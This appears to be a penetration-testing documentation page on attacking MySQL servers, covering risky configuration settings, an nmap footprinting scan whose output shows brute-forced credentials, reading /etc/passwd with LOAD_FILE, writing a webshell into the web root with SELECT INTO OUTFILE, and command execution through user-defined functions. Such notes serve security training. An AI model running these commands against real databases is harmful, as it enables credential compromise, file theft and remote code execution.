> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/mysql-attacks.md). # MYSQL attacks ### Default Configuration ```shell-session sudo apt install mysql-server -y ``` ```shell-session cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d' ``` ```shell-session [client] port = 3306 socket = /var/run/mysqld/mysqld.sock [mysqld_safe] pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] skip-host-cache skip-name-resolve user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp lc-messages-dir = /usr/share/mysql explicit_defaults_for_timestamp symbolic-links=0 !includedir /etc/mysql/conf.d/ ``` ### Dangerous Settings | **Settings** | **Description** | | ------------------ | ------------------------------------------------------------------------------------------------------------ | | `user` | Sets which user the MySQL service will run as. | | `password` | Sets the password for the MySQL user. | | `admin_address` | The IP address on which to listen for TCP/IP connections on the administrative network interface. | | `debug` | This variable indicates the current debugging settings | | `sql_warnings` | This variable controls whether single-row INSERT statements produce an information string if warnings occur. | | `secure_file_priv` | This variable is used to limit the effect of data import and export operations. | ### Footprinting the Service ```shell-session sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql* ``` ```shell-session Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST Nmap scan report for 10.129.14.128 Host is up (0.00021s latency). PORT STATE SERVICE VERSION 3306/tcp open nagios-nsca Nagios NSCA | mysql-brute: | Accounts: | root: - Valid credentials |_ Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0 |_mysql-databases: ERROR: Script execution failed (use -d to debug) |_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug) | mysql-empty-password: |_ root account has empty password | mysql-enum: | Valid usernames: | root: - Valid credentials | netadmin: - Valid credentials | guest: - Valid credentials | user: - Valid credentials | web: - Valid credentials | sysadmin: - Valid credentials | administrator: - Valid credentials | webadmin: - Valid credentials | admin: - Valid credentials | test: - Valid credentials |_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0 | mysql-info: | Protocol: 10 | Version: 8.0.26-0ubuntu0.20.04.1 | Thread ID: 13 | Capabilities flags: 65535 | Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0 |_ Auth Plugin Name: caching_sha2_password |_mysql-users: ERROR: Script execution failed (use -d to debug) |_mysql-variables: ERROR: Script execution failed (use -d to debug) |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) MAC Address: 00:00:00:00:00:00 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds ``` ### MySQL - Read Local Files in MySQL ```shell-session select LOAD_FILE("/etc/passwd"); ``` ```shell-session +--------------------------+ | LOAD_FILE("/etc/passwd") +--------------------------------------------------+ root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ``` * ### Write Local Files ```shell-session SELECT "" INTO OUTFILE '/var/www/html/webshell.php'; ``` * In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege. * `secure_file_priv` may be set as follows * If empty, the variable has no effect, which is not a secure setting. * If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it. * If set to NULL, the server disables import and export operations. * In the following example, we can see the `secure_file_priv` variable is empty, which means we can read and write data using `MySQL`: **MySQL - Secure File Privileges** ```shell-session show variables like "secure_file_priv"; ``` ### User Defined Functions * `MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL * there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys). * It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://docs.wehost.co.in/cybersecurity/mysql-attacks.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.